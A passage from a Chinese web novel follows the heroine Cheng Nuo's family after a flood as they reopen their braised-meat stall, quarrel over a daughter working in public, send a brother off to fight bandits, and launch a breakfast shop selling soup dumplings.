琼枝:“姑娘你忘啦,孟公子跟她母亲、妹妹,被程家那群刁妇打了,脸上的伤还没消肿呢,出不了门,见不得人。” 冯知意一脸烦躁,又是程四娘,阴魂不散,几次死里逃生。 本事不小,从前是她小觑这家人了。 琼枝踌躇不已,似有话要说,纠结的情绪被冯知意捕捉到。 “出什么事了?” 琼枝纠结再三,还是从怀里掏出一张揉成团的画纸,小心翼翼摊开在主子面前,眼珠子时刻盯着眼前女子的神态。 冯知意从不明所以到看见画纸上内容的瞬间,瞳孔微张,继而眼神中翻滚出滔天恨意。 这幅画的画风,她太过熟悉。 只是画纸上,从前只有她一人,如今却出现另一个女子的身影。 即便画作没完成,也足够让冯知意心中警铃大作。 孟南洲在画程四娘。 他为什么要画程四娘? 他曾经说过,这一辈子只会为她作画,现如今,却在画纸上留下别的女子的肖像。 冯知意仔细端详画中人,程四娘脸上那道疤不见了,这是孟南洲心中程四娘完美的样子吗? 他中意这幅模样的程四娘? 这一瞬,冯知意内心冰凉一片。 她试图替孟南洲找理由,解释为何要偷画前妻的画像,若她只是双十年华的冯知意,没有经历过上一世爱人的背叛,她或许还能说服自己孟南洲是另有原因。 可她活了两世,太清楚男人的心思。 吃锅望盆得陇望蜀,是男人的劣根性,她原以为孟南洲会不一样,她见过上辈子痴情不改的孟南洲,见过他为她守节一生的决绝。 可为什么……为什么重来一世,她成全了他的痴情,为他生儿育女,到头来他心底走进了另一个女人,还是那个她从没放在眼里的丑妇? 从前她的敌人,不是将军之女,就是宰辅千金,美貌才情家势无一不备,输给她们,冯知意认了。 可程四娘算什么东西,一个村妇,一个丑妇,她凭什么博取孟南洲的关注? 冯知意气得脖根青筋爆出,看得琼枝心惊。 “姑娘~” “撕拉”一声,画纸撕成碎片,落在地上,被冯知意肆意碾压。 骗子,都是骗子。 从前的三皇子是,孟南洲也是。 冯知意感觉小腹一紧,这是有孕以来,第一次感受到腹中孩子的胎动,换做从前她一定惊喜地找来孟南洲,可这一次,她失去所有力气,将整个身体沉入躺椅中,盯着灰白没一丝阳光的天空,陷入沉思。 孟南洲的变化,这两月来,她不是没察觉到。 原以为是天灾导致云麓书院不开门,他心情郁郁寡欢,没想到症结在别处。 孟南洲一连三日,以脸上淤肿未退为由,没踏进隔壁院一步。 一个人躲在书房里,除了偶尔出来吃饭如厕,其他时候连孟母也见不到他人。 孟母:“要不要请个大夫?我瞧你哥伤得很重。” 孟思静看着镜中浮肿青红的脸,没好气道:“冯知意就是大夫,哥要是真想看病,直接去见她不就成了。烦死了,哥当初为什么要跟程四娘这个毒妇扯上关系?” 提到程四娘,孟母恨得牙痒痒,一想起前两日儿子在书房偷画程四娘的画像,更是心梗。 对了,画像还在书房的纸篓里,不能被隔壁院的人看见,少不得又是一场腥风血雨。 孟母跑去敲书房的门:“儿,娘来给你打扫屋子。” 房里没动静,她直接推门而入。 孟南洲正躺在软榻上小憩,案牍上的书本还停留在几日前,没有丝毫继续翻动的痕迹。 孟母在纸篓里翻了半天,没看见那日的画纸。 书房一直是她收拾的,孟南洲不会主动清理垃圾,那画纸哪去了? “儿啊,”孟母推了推孟南洲,见他没反应,想来是累了,不敢再打扰。 画纸或许是被儿子丢了。 转身出了屋。 只要不被隔壁院的捡了去就行。 —— 鹿山。 秦臻杉带来的官兵,协助山上的百姓将行李物件统一运送上官府的马车,一起载到灾民指定安置地点。 这两日秦臻杉出现得频繁,有程父和村长从中周旋,大伙儿对他的态度改善不少。 “多谢秦大人,您是个好官,跟官府那些不干人事的贪官不一样。” “秦大人,您一定要给我们做主,家园毁了,耕地没了,亲人死的死伤的伤,以后我们这些剩下的人怎么活……” “朝廷有说怎么安置我们这些受灾百姓吗?今年的粮税还征收吗?” 秦臻杉被百姓围在中央,问题雨点般砸来,他一一回应。 “朝廷已经在调查堤坝贪腐一案,永安县的杨县令革职查办,涉案官员皆以下狱,会有新的官员到职。” “我已上书朝廷,将灾情详叙。天灾无情,官府不会坐视不管,新的安置地点早已妥善安排,等泄洪完成,会依照各村落受损情况,确定各位的人丁田。” “从京都出发时,陛下口谕,减免永安县受灾百姓三年税收,大家不用担心粮税问题,安心吧。” 此话一出,忧心多日的百姓,脸上终于浮现些许笑意,跟着领路官兵走了。 接下来的一个月时间,洪灾后续工作在秦臻杉的带领下开展得有条不紊。 程父跟几个村受灾村落的村长,负责协助秦臻杉。 洪水带来的影响,逐渐消散。 程二顺和姚头儿身子恢复得差不多后,回到官府报备,因抢险有功,都得到了三等功的奖赏。 十两银子,半扇猪肉,两壶酒。 程母喜笑颜开买了一长串鞭炮庆祝,榴花巷的邻里纷纷来道贺。 清河镇再次恢复往日的生机,不少人上门来问,程家卤肉摊何时再营业。 先前承诺合作的几家酒楼的老板也找到程诺。 “程老板,耽误了好些日子了,年前的合作还作数吗?” 程诺笑道:“当然作数。” “那还等什么呢?开工吧!”钱老板的云来酒楼歇业好几个月,再不营业,店里要长蜘蛛网了。 醉仙楼的掌柜道:“程老板,我等着你的卤肉,别让我店里的客户等着急了哈!” 第二日的清晨,空气中还残留着几分潮湿的水汽,榴花巷程家的灶台间已经热闹许久。 闲置许久的铜锅再次派上用场,此刻里头正咕噜噜冒着热气,浓郁的卤香随着晨风慢慢飘开。 “四娘,卤肉出锅啦,别忘了给婶子留点猪头肉,你青松兄弟爱吃。”隔壁的苏阿花爬在矮墙上,用力嗅了嗅鼻尖,“太香了,馋得我院里的猫都叫半天了。” 程诺擦擦头上的汗,露出一抹浅笑:“早啊阿花婶,猪头肉备好了,待会儿直接来找我娘,重新开业第一天,全部八折。” “那不得亏本啊!”苏阿花鼻尖香味萦绕,眼睛眯成一条缝。 “没事。”程诺:“婶子别忘了帮我宣传宣传,榴花巷的街坊直接到我家买卤肉,我再额外赠送半斤卤素菜。” “没问题,包在婶子身上。” 太阳逐渐升高,程诺的推车,在铃铛声中来到镇东老地方。 洪水过后街道修缮一新,青石板路被冲刷得发亮,道路两旁的店铺陆续挂起招牌。 她的摊位刚摆上,不少眼熟的老顾客立马打起招呼。 卖面条的苗婶子也出摊,一见程诺可激动了,“听说你搬进了榴花巷,一直没找到机会去看你,今天卤肉卖完别着急走啊,带我去认认门。” 程诺一边支着摊位一边回应:“苗婶苗叔,应该是我先去拜访你们的,上回我家小云的事,还没找到机会感谢你们呢,等过两天,我去醉仙楼摆一桌,到时候一定得来啊!” 一听要去醉仙楼,苗婶子忙摆手:“去什么醉仙楼,死贵死贵。婶子知道你忙,镇上都在传,洪水淹没好几个村,活下来的人都是你的功劳,当初是你坚持让村民逃上山的吧?” 程诺没想到消息传得这么远,连清河镇的人都知道了。 摊位刚支好,就有人围了上来,熟悉的街坊们你一斤我半斤买着,程诺差点忙不过来,好在有程云和与华帮忙。 苗婶面摊上依旧有一锅卤肉浇头,一切仿佛又回到半年前。 老客户们热情洋溢,加上有八折开业福利的诱惑,程诺准备的今日份卤肉卖得很快,不到一个时辰功夫卖完了。 程大壮送完几家酒楼的卤肉,回来时刚好帮程诺收拾摊位。 “生意这么好呢,我还想着赶紧送完回来帮你们。”程大壮一瞧干干净净的锅底,笑得眼睛眯成一条缝。 程云得意道:“开门大吉,今天赚了好些银子呢。” 与华数着铜板,越数嘴角的笑意越大:“出摊前,我还怕大伙儿受洪水影响,舍不得花银子,没想到比去年还要热情。” 程诺但笑不语,老百姓憋久了,清粥白菜吃了一个冬天,可不得报复性消费一下。 她道:“明天开始,摊位就交给你两了,没问题吧?” 与华和程云一惊:“小姑姑,你不出摊了吗?” “我有别的事情要做,你们已经干得很好了,小云负责招呼客人,与华收银子,要是实在忙不过来,把金玉带着一起。” 金玉得知小姑提议让她跟着一起出摊时,高兴坏了,原地直蹦跶:“我可以吗?” 程云:“当然可以,你厨艺好,到时候切肉的活儿交给你,我负责在旁给你打包,我们三以后就是程家卤肉的牌面!” 金玉和与华小鸡啄米般点头:“好,都听二哥的。” 第二日再出摊,熟客看到挥刀切肉的换成个小姑娘,小姑娘长得如同三月枝头最明媚的那朵海棠,明媚而不妖娆,大气而不失灵动,很引人注目。 再看站在一旁数钱的小姑娘,杏脸圆目,唇红齿白,笑起来嘴角还有两小酒窝,很是清纯可爱,是清水出芙蓉的长相。 先前的老板娘更不用说,白璧微瑕,挡不住底子好。 有顾客夸赞道:“哎呦,你们家大小美人真不少,以后别叫程家卤肉摊了,改名叫卤肉西施吧。” “再过两年,你家门槛不得被红娘踏破了?这样的好姑娘,你家还藏了几个啊?”老熟客接过卤肉,打趣地问程云。 程云颇为得意:“我家一共五个姐妹,各个赛天仙,除了大姐嫁了人,其他都还小呢,我叔叔婶婶们可舍不得她们早嫁人,得留在身边多宠几年。” 当天的卤肉,因为金玉的加入,卖得比前一天更快。 夜晚,程云在饭桌上,把今日的事当趣事说出来,武春来当场挂了脸。 晚上躺在炕上,用脚踹了程三虎一下:“金玉眼瞅着十一了,再过两年能说婆家,原来住在乡下,不用太在意,现在咱们搬到镇上,以后就不是泥腿子,女儿的亲事自然也跟着上一个台阶,若是被人知道金玉年纪轻轻在外抛头露脸,大马路上拿刀砍肉,以后哪个大户人家会要她?” 程三虎听得想笑:“没睡觉呢,先做起梦来了?大户人家……什么大户人家?你也想像高家一样,把女儿卖进院外府上做妾吗?” 武春来眼神闪躲,却没反驳丈夫的话,而是口吻羡慕道:“做妾不行,当正室行啊,金玉长得多标志,连你妹妹都知道用她的长相揽客,你怎么对姑娘的事,一点不上心。” 听到这儿,程三虎不高兴了,一下子坐起身:“你胡说什么?小妹让金玉去帮忙是想锻炼她,你看看二房的与华,年前就跟着小妹一起出摊了。与华长得不俊吗?二哥什么时候说过半个不字?” 武春来嗤笑一声:“与华能跟我家金玉比?她这辈子顶天了嫁个匹夫草莽,能有人要不错了,我女儿以后是要当官夫人富太太的,你明天跟四娘说,金玉不去出摊。” 程三虎将被子往头上一裹,全当没听见:“要去你自己去!” 第一百八十五章 挣军功去了 第二日一早,程诺正在灶台检查卤肉炖煮熟烂程度,武春来找来了。 整个家里,都知道卤肉是家中经济来源,起早贪黑帮忙,唯有武春来一如既往躲懒,每日睡到日上三竿,仗着有赵氏在,她又可以不下厨,常常借口看顾孩子累得她腰酸背痛,在屋里躲清闲。 程诺陡然看到她起大早,还有些吃惊。 武春来先在厨房灶台巡视一圈,像个视察官员,双手背在身上,时不时点头评价,摇头提建议,看得赵氏心里往上涌起无名火。 “二嫂,今日起得挺早,来帮忙的吗?”程诺故意道。 武春来脸色一僵,随即搓揉起肩胛,摇头:“有心无力,你不知道带孩子多累,一点不比干农活轻松,珍珠盼儿正是最闹腾的年纪,时刻都得紧盯着,我是半点不敢松懈,累得我……晚上都睡不好!” 程诺勾唇浅笑。 赵氏白眼翻上天。 跟谁没带过孩子似的。 珍珠盼儿都六岁了,又听话懂事,从不给家里添乱,这样的神仙小孩难带,说出去谁信! 程诺:“是我考虑不周,既然这样,反正我以后也不用出摊了,带孩子的事交给我,二嫂接替我的活儿,早起给娘和大嫂打下手,如何?” 武春来仿佛嗓子里卡了根鱼刺,半天找回声音:“不用,不用麻烦,我都习惯了,孩子跟我亲,突然换成你来带她们会哭闹的。无非是累点,我能忍。” 赵氏刺了一句:“珍珠你生的,跟你亲正常,盼儿是四娘的女儿,你确定盼儿会跟你更亲近?” 武春来被怼得哑口无言,才想起来今天来的主要目的,不是打嘴仗给自己找不痛快的,她走到程诺面前,道:“四娘,你另外找人出摊吧,我们家金玉就不去了?” 程诺一愣:“为什么?是金玉自己的意思?” “金玉一向最听我的话,我的意思就是她的意思,”武春来理所应当道,“她在家帮忙也是一样的,只是不跟着出摊而已,耽误不了你什么事。” 言外之意,帮工的钱你得照给。 程诺笑着摇头:“如果不是金玉本人的要求,你的提议,我不能答应。” 武春来脸色顿时不好看:“她是我女儿,她自然地听我的话。” 说话的声音有些大,门外院里的人一早听到了。 听到跟自己有关,金玉立马放下手中的活儿,钻进厨房。 一进来,感受到气氛不对劲,她拉了拉母亲的胳膊:“娘,出什么事了?” 武春来:“金玉,你自己跟小姑说,你不出摊了,以后待在家里帮忙。” 金玉大吃一惊:“为什么?我想跟着二哥他们一起出摊。” 武春来瞪了她一眼:“你懂什么?你是个女孩子,女孩子跟男孩能一样吗?娘是为你好,谁家好女孩在外抛头露脸。” “与华也是女孩子,二伯母怎么从来没说过不让她抛头露脸,”自从出摊以来,金玉跟着学了不少东西,眼界开阔是一方面,能帮到家里更让她觉得打心眼里高兴。 去年,与华跟着程诺一起出摊,金玉羡慕了很长时间。 小姑愿意给她机会,是信任她,娘怎么能剥夺她的好不容易盼来的机会呢。 金玉反驳道:“二伯母以前是大户人家的小姐,她都不介意,你介意什么?” “我跟她能一样?”武春来见往日乖巧的女儿犟嘴,还拿她跟顾氏比较,心里越发不痛快,说出口的话没了顾忌,“她女儿是罪奴之女,嫁不了好人家,只能靠摆摆摊子糊口,你是我的女儿,注定日后要甩她一大截的。” 有些话虽是事实,但不能说出口。 顾氏罪奴身份不假,但与君与华也是程家孙子,程父程母对待几个孩子,一向是一视同仁,从不偏颇的。 孩子们之间也是和睦共处,没有勾心斗角争强好胜的事情发生。 现在武春来的一句话,像是将孩子们分成了三六九等。 等级一出,公平难继。 武春来刚说完,金玉先冷着脸,喊道:“娘,你胡说什么!” 程母掀帘走进来,手中的簸箕抽在武春来后背上,坚硬的藤条立马打得皮肉酸疼,骂道:“懒骨头,你又皮痒了是不是?” 武春来被打得左右躲闪,但厨房就那么点大,加上赵氏有意拦住她的去路,后背被程母抽红好大一片。 程二顺在屋里修养身体,顾氏负责照顾他。 难得媳妇给他好脸色,程二顺不知多享受,恨不得伤得再重些,博得媳妇的心疼。 谁知道一大早听到武春来贬低妻子女儿的话,气得直接从床上窜起来,要不是顾寒栀按着,他就要冲出去找武春来干架了。 程二顺这才知道,过往这些年,武春来肯定没少私下里因为顾寒栀身份的事找茬奚落。 连同气连枝的家里人都能说出那番话,更何况外人。 本还想再享受几天媳妇照顾的程二顺,再也不装了,起身去衙门,寻找能立功的机会。 程父和程三虎从外面回来,听到早晨的闹剧,一个接一个将武氏数落一遍,扬言再敢有类似扰乱家庭和睦的话说出口,就要休了武氏这个搅家精。 武春来闭了嘴,不敢再提顾氏半个“罪”字,阻止女儿金玉出摊的事,也不了了之。 当天晚上,顾二顺回到家,进屋叮嘱顾寒栀几句,立马到程父程母屋里辞行。 洪水之后,不少地方盗贼猖獗,值此多事之秋,官府正缺人,顾二顺立马被派去剿匪,他是回来收拾行李的,明天就随队出发。 程母一听是剿匪这样危险的活儿,心惊肉跳:“我的儿,非得去吗?那可是不要命的悍匪,手里拿的真刀真枪。” 程二顺安慰母亲:“放心吧娘,那些不是真正的悍匪,是一帮游手好闲的流民组成的烧杀抢掠的散队,成不了什么气候。” 一听不是凶狠的匪徒,程母的心放下大半,得知这一趟至少要四五日,连夜给他准备路上的干粮。 程诺见二哥说得轻松,眉宇间依旧少不得忧虑之色,将人拉到角落里细问:“哥,你说实话,这趟到底有没有危险。” 程二顺知道瞒不过小妹:“怕娘担心,哥没说实话,确实有流民组成的散队,但这样的活儿哪轮得到我。” 早被那些有关系,又怕死的官兵抢了,剩下的要不是吃力不讨好的活儿,要么是有生命危险的。 他此次的任务,是去北边讨伐一伙儿在山上盘踞已久的盗匪,这伙贼人年前被官府围剿过一次,死伤惨重,剩下的逃往山上休养生息,原以为不会这么快出山,许是两场天灾,他们山上的日子也不好过,已经连着枪杀两个村庄,死伤人数过百。 官府发布告示,但凡能顺利绞杀贼首的,官升一级,赏银二十两。 奖励丰厚,即便有生命危险,还是吸引了不少人报名。 程诺望着眼前高大的男人,皮肤黝黑,身材遒劲有力,不是下地干活的料,天生应该为沙场而战。 可他是她的亲人,不求亲人大富大贵,只求平安顺遂。 “哥,你会功夫吗?去杀敌跟抗洪不一样,需要弓马娴熟。”程诺不记得程二顺会武。 程二顺龇牙一笑,进屋后很快又出来,手里拿着两张弓。 程诺接过程二顺递过来的弓箭,纯木锻造,很是精细,看上去一点不比店里卖的差。 “你自己做的?” 程二顺点头又摇头:“别人给的图纸,我照着做出来的。” “还有一个给谁?”程诺问。 “是我的。” 身后传来一道温润的男声。 十七走上前,将弓箭从程诺手中接过来,“我跟二顺兄弟一起去。” 程诺眼睛微张:“你也从军了?” 程二顺替十七答道:“没有没有,他没有户籍,官府不能入册,只能当编外人员,我给做了保,官府现在正是用人之际,查得不严,很顺利就通过了,只是奖赏没有正式入伍的人多,没有功勋,奖励也得减半,好在会有点额外补贴。” 十七的功夫程诺虽没见过,但能在战场上创出名堂的,肯定差不了,有他在程二顺身边,她能放心不少。 程诺:“你们等一下。” 说着,她进了屋,再出来时,手上拿着不少东西:“这两瓶药是金师傅给的,说是上好的金疮药,还有这个包你们拿着,里头有些急救用品,带在身上以防万一。” 金师傅就是程诺前些日子救下的老头,如今正跟何大夫住在一处。 据说何大夫强烈要求对方留下,并缠着对方每日问东问西,钻研医术。 程二顺托着黑色包,找半天没发现怎么打开。 程诺从左向右拉开拉链,露出里头的物品。 程二顺还在吃惊“撕拉”一声顺滑的开包动作,十七已经被包里的东西吸引。 程诺一一解释东西的用途:“这是弹性绷带用来固定包扎伤口,这是止血粉,若遇上较大伤口可以用来止血,功能和金疮药类似,剩下的是剪刀、镊子,哦,还有,这些药丸的作用我一一表明了,用的时候注意些不能过量使用。” 十七望着巴掌大盒子里装着的五颜六色的药丸,用一种不知什么材质的东西密封着,背面是刚写上去的字。 程二顺早习惯小妹时不时拿出些没见过的东西,比如药丸,外人见了或许会新奇,程家人早见怪不怪。 十七入乡随俗,也没多问,将包裹塞进行囊中,跟程二顺一起去衙门集合,一人一匹马,一个包裹,一张弓,剿匪去了。 儿行千里母担忧,程母从这天开始,时不时站在巷子口张望,生怕错过程二顺的消息。 洪灾退去,几个受影响严重的村落,终于露出原貌,只是往昔的热闹不再,肥沃的庄稼的土壤流失,好几年长不出庄稼。 茅草土坯做成的农舍,大水一过,只剩下些许七零八落的支架,证明此处曾经树立着一户几口之家的栖身之所。 大梨村,只有贵叔贵婶家的青砖瓦房伤害最轻,依稀能看到先前的框架,修缮过后,继续住人没问题。 官府的人进村统计受灾详情,最后给出集中解决村民日后生存的方案。 关于土地,村民可以选择以租赁的方式,先去镇上富户家打工,获取米粮和铜板,或者搬迁到其他没有受灾的村落,那里有闲置的荒田,只是距离稍远,意味着需要背井离乡,不能在大梨村生活。 第三种方法是开荒,鹿山没有遭受洪水的侵蚀,土壤营养丰厚,只是开荒需要动用大量人力物力,以百姓现有的情况,需要官府的资助。 相较于前两种方法,大梨村的村民更偏向开荒,老百姓一辈子就靠土地过活,给别人打工不是长久之计,背井离乡又舍不得。 这段日子,大伙儿虽过得苦,却在相互扶持中,感受到同舟共济,守望相助的重要性,一村人的感情比起以往更浓厚。 “我宁愿开荒,也不要去别的村子生活,祖祖辈辈扎根在大梨村,我死了也是要葬在村里的。” “落叶归根是农民的习性,我有信心大伙儿能开荒成功,无非是累点、苦点,我们连暴雪洪灾都度过了,还怕这吗?” “说得对,我支持去鹿山开荒。” “我也愿意去!” 官府的人统计完,回去商议一番,最后由秦臻杉决定,给开荒的村落分派农具和米粮,并从其他村子调派愿意帮忙的人手,给与一定的报酬。 报名的人数不少,开荒工作很快如火如荼展开。 程家没有要耕地,程大壮和程三虎依旧回村帮村民开荒,大伙儿很感激程家人的救命之恩,对他们十分恭敬。 程村长经过两场天灾后,劳心劳力,身体大不如前,两日前辞去了村长的职位,由儿子平安接替,并让程父监管村落各项大小事宜。 平安遇事也会先找程父商议,村中各大小事项,大部分时候全是由程父拍板完成。 几日后,朝廷又颁布了一项新法令。 废除里坊制。 意味着临街建立的屋舍可以推翻围墙,将生意开到街道上。 此令一出,榴花巷临街的屋舍价格翻了好几倍,立马有住户挂牌,要高价租出去,价格更是一天一价,上涨的速度惊人。 若是租住在此的百姓,房主要么涨租,要么将她们挪到其他不挨着街道的屋舍居住。 一时间,榴花巷每日人来人往,热闹非凡。 “哈哈哈,程姑娘,你真是我的福星啊!” 第一百八十六章 赚大钱。 巷子里,关长宏爽朗的笑声传来,声音如同铜铃,带着几分孩子气的欢喜,听得人心情颇为大好。 “当初是你建议我买下临街的屋子,我才一口气买下八间,现在想来定是财神爷护佑我,不然我为何会轻信不过几面之缘的你呢,哈哈哈……” 八间屋舍,买下时不过几千两,如今已经翻了四五倍,看架势,还能继续往上涨。 程诺正安排工匠,将临街墙壁砸穿,她要将屋子格局改造成前院开店,后院住人的结构。 “是关公子有眼光,换做其他人未必肯信,”程诺笑着回应关长宏,“关公子想好将其他几个屋子拿来做什么了吗?” 关长宏摇着折扇,指着东边最挨近程家的屋子道,“这条街南北通透,居住的百姓有几千人,不管开什么店都有生意,这两日不少人找我,想盘下我手上的铺子,我还在观望。” 程诺指着街尾几家已经挂上牌匾的铺子,道:“先下手为强,瞧瞧人家,一家汤饼店,一家酒肆,再看看对面正在装修的两家,听说是包子铺和杂货铺,先开的店先引流,你确定还要观望?” 关长宏眉头一皱,前两日他来的时候对面两家铺子连墙都没打通,今天再看竟然已经装修大半,等着开业了。 他很快安慰自己:“开店地理位置是重要,但更重要的是味道和品质,尤其是吃食,我没找到优秀的大厨,暂时不打算跟食铺抢生意。” 说着,他又问道:“你的铺子准备卖什么?还是卤肉?” 程诺摇头。 关长宏就知道她有别的想法,程家卤肉摊已经打出名号,是在东街摆摊还是榴花巷落铺,区别不大,不如趁此机会发展新业务,没准又能弄出第二个卤肉铺出来。 他今天来的主要目的不是视察他的金山银山,而是想着蹭一蹭,他有铺子,她有点子,双方一拍即合,有钱大家一起赚嘛。 程诺眉眼弯弯,笑意自然地浮上脸颊:“我想开一家早茶摊。” 关长宏大失所望:“你这主意也不怎么样,放眼看过去,街上已经能数出三四家早点摊,卖包子、汤饼、馄饨……你拿什么跟人家竞争?” 程诺神秘莫测看了他一眼。 程家早餐店开业第一天,关长宏特地起了个大早来看戏。 结果刚靠近,差点以为自己眼花了,其他几个早餐摊前,客人稀稀落落,唯有程家早点铺子前大排长龙。 关长宏上前凑热闹,也排起队,拉着前头一位老汉问:“老伯,这家店早点这么好吃吗?” 老汉眨眨眼:“我不知道啊,应该很好吃吧,不然怎么会有这么多人排队。” 说话间,又有两个路过的姑娘凑上前。 “新开的铺子哎,卖什么的?” “不知道啊,好多人,肯定是好东西,不然怎么会有这么多人排队,我们也来排。” 关长宏:…… 不是,连卖什么都不知道,就来排队了? 这时,前头买到早点的顾客,拎着荷叶边包裹的早点路过,被两姑娘喊住:“大娘,这家店卖什么的?” 大娘:“卖汤包的。” “什么是汤包?”两姑娘一愣,没听过更好奇了。 “汤包是一种外皮薄如蝉翼,咬第一口瞬间,里头鲜美滚烫的汤汁会‘滋’出来的包子,馅料丰厚,味道鲜美,让人停不下嘴吃了还想吃。” 大娘热情洋溢地推荐,夸得天上有地上无,好似吃了程家汤包能升仙。 “反正是好东西,你们尝尝就知道了,大娘不会骗你们的。” 两姑娘脸上瞬间浮现出向往,明明刚在街角吃了碗云吞的肠胃,再次蠕动起来。 “我要尝尝是不是真跟她说的一样好吃。” “汤包……没听说过,我也要试试。” 连关长宏的好奇心都被勾出来了,如果他下一秒没见到刚才的大娘又站到队尾重新排队,他或许就信了她的话。 关长宏从队伍中脱离,站到不显眼的角落中,观察起眼前的长队。 这一观察,还真让他看出不对劲,有那么七八个人,来回在队伍中排队,每次出现时特地换了衣服,时不时向提出疑问的路人解释程家早餐铺子卖的东西。 溢美之词频出,无一句不是夸赞,配上夸张生动的表情,拉来不少客人。 太阳逐渐升高时,“今日份的汤包售完了,明日请早。”一声嘹亮的声音响起,接着是一片哀嚎。 没买到汤包的顾客失落不已,嗅着空气中若隐若现的味道,悔恨没早点来排队。 待人群散得差不多,那七八个“客户”一起涌上前。 程诺笑着从陶罐中数出铜板,放到几个人手中:“多谢几位,辛苦了,明天继续来哈。” “是我们谢谢您才对,这么好的活儿,打着灯笼都难找。”大娘笑得眼睛都没了,提着手中的荷叶包,问,“那……我们手里的汤包咋整?” 程诺:“送你们了,起大早还没吃早饭吧,刚好尝尝我们家的汤包是不是跟宣传的一样。” 大娘舍不得吃,打算带回去给小孙子,其他几个人早被香味熏迷糊了,直接打开吃了起来,此时的汤包已经没那么烫了,刚好入口,汤汁混合着薄皮厚馅,在口腔中蔓延开,鲜味伴随肉香,简直美味至极。 “来,加点醋,味道翻倍。”程诺拿起醋碟,教几人进阶吃法。 “老板娘,你家哪里需要我们宣传,日子一长,大伙儿上赶着来。” 程诺笑道:“酒香也怕巷子深,适当的宣传没坏处的。” 人一走,关长宏凑上前,打量着眼前只能露出半个身子的窗口,跟其他家恨不得把门面做得越大越好的店铺不同,程家早餐铺窗口只足够一两个人操作,看起来憋怂得很。 关长宏伸手指着窗口,不解道:“为什么不开门直接让顾客坐进去,窗口这么小显得小气。” 程诺:“不懂了吧,小窗口可以提高出餐效率,减少排队拥堵,同时还能营造供不应求的氛围,显得门口排队店铺人气旺,瞧瞧刚才,多少路人是被排队吸引过来的。” 关长宏笑了:“那是被吸引来的吗?那是被你雇的托儿骗来的。” 赵氏刚擦拭完灶台,闻言反驳道:“怎么能叫骗呢,我们这是适当引导,我说的对不对小姑?” 程诺给她点了个大大的赞:“大嫂,今天的流程看清楚了吗?明天你站窗口接待顾客,让二嫂帮忙算账收钱。” “就我们两行吗?”顾寒栀正在清点今日的盈余,心里没底。 程诺笑道:“当然行!娘手艺好,负责灶台,人手可能不够,过些日子我在店门前张贴招聘告示,再找两个人来给娘打下手。” “那你呢,活儿都让别人干了,你做什么?”关长宏听半天,没见到程诺给自己分派任务。 程诺挺直腰杆,一脸骄傲:“我当然是研究新菜品,俗话虽说,一招鲜吃遍天,但我们程家早餐铺子,定得是样样拿得出手,种类丰富,只有顾客想不到,没有他们吃不到。” 关长宏瞪大眼睛:“你还有新点子啊?什么?什么?说来我听听。” 他想不明白,明明都是脖子上顶个脑袋,为什么程诺的脑袋看着比她小不少,里头的东西却比他多得多。 程诺作为上一世的美食博主,脑袋里各种各样,大江南北的早点数不胜数,天津的煎饼果子,上海的小笼包,广东的肠粉,重庆的小面,陕西的胡辣汤,南京的鸭血粉丝…… 每天换一样,都能保证一个月不重样。 世上口味千千万万,不管你是喜欢酸甜苦辣中的哪一种,都能在程家早点铺里找到心仪的早食。 铺子里要招人的消息还没散出去,程母已经走起后门,将人带到程诺面前。 “肥水不流外人田,有挣钱的交易,当然是先紧着熟人,”程母将几个妇人往程诺面前推了推。 孙婶子如今搬到大梨村居住,平安给她们一家落了户,以后就是同村人了。 她道:“四娘,我和面的手艺可好了,包子皮交给我,不会让你失望的。” 绿草的儿子如今快半岁,因为一开始就不是母乳喂养,对母亲的依恋不算太深,现在找到了羊奶,连奶粉都戒了,如今交给同村关系亲近的阿婆照顾,她也能出来找点活儿干,贴补家用。 “在家时,小李说我擀的面条劲道,我想着也来试试,若是四娘看得上我的手艺,我也能留下赚点钱给儿子攒老婆本。” 程母笑道:“他才几岁啊,你都担心起娶儿媳妇的事了?” “孩子长得快,别看现在抱在手上,见风就长,没几年就大了。”绿草笑得腼腆,“我也得为未来儿媳妇考虑,不能让她嫁进来就受苦。” 四娘对两人的人品绝对信得过,但是手艺如何还得考量,开门做生意,公私分明是她一向的准则。 结果证明,二人的厨艺确实不错,别说是做帮工,就是独当一面也没问题。 当然这些是后话,现如今最重要的,是将手上的小铺子经营好。 每人每月五钱银子,包食宿,但是没有假期,下午时间自理,实在有重要的事需要请假,可以找人带班。 做早餐的就是这样,抢的就是早上的这段时间,一年到头没休假是再正常不过的事。 孙婶子一听工钱五钱每月,还包食宿,乐得跟什么似的。 绿草虽有些惦记儿子,但想着下午时间自由,大不了她多跑几趟也能见见儿子。 大伙儿一拍即合,很快熟络起灶台上的工作。 接下来的几天,汤包依旧饱受欢迎,并且在镇上打出名声,一传十十传百,都知道原来的程家卤肉摊的老板娘又开了早食铺子,生意火得不得了。 不仅如此,很多人还没有机会品尝汤包,程家又推出了新菜品——胡辣汤。 又是个闻所未闻的新玩意儿,吸引一大波人前来品尝。 天气晴好时,程诺会在店铺前摆放几个桌子,供食客堂食,人一多,地方不够,她就将左右两个铺面的位置也占了。 关长宏再来时,发现自家铺面被征用,晃着扇子找程诺理论。 “你闲着也是闲着,让我用一下怎么了?反正不管你日后开什么铺子,有我在旁引流,生意都差不了,你应该感谢我才对。”程诺忙着研究新早点,抽空回了关长宏一句。 关长宏一想有道理,要了碗胡辣汤和一笼汤包,直接在家门前小桌子上坐下,吃完准备给钱,程诺没收,美其名曰场地费,日后不光是他,连他舅、他娘,他家亲戚来都不收钱。 “关少爷,您可是我们摊上的贵客,免费的待遇是头一份。” 关家没几个亲戚,程诺话说得好听,事情办得漂亮,实则根本没出多少血,偏偏能让人听在心里美滋滋的。 关长宏满脸堆笑,晃晃悠悠走了,说是要去考察市场,思考店铺做什么生意。 第三日,关长宏在视察几天后,终于请来工匠修缮改造门头,两天功夫,牌匾挂上。 一家米粮铺,一家胭脂水粉铺子。 “我研究过了,这条街上还没人开粮铺,天灾刚过,正是百姓缺粮的时候,新店一开,肯定赚得盆满钵满,你信不信?”关长宏得意地冲程诺抬抬眼,仿佛金子已经在朝他招手。 程诺若有所思啊了一声,指着胭脂铺子道:“你对胭脂水粉有研究?” 关长宏摇头:“没有啊,但开店讲究天时地利人和,此地人流量大,顾客有需要,想不赚钱都难!” 关母手里有十几间铺面,全是当初出嫁时长辈给的陪嫁,有专人打理,其中就有胭脂水粉铺子。 “我已经请教过胭脂铺的掌柜,将最时兴,卖得最好的款式全部照样发来。我家铺子开在京都,那里的女子掌握全大盛流行风向,从前清河镇的女子都得晚一年半载才能用上时兴脂粉,如今有了我这间铺子,京都女子的喜好还不是信手拈来?” 关长宏觉得他的想法太好,简直找不到一丝瑕疵。 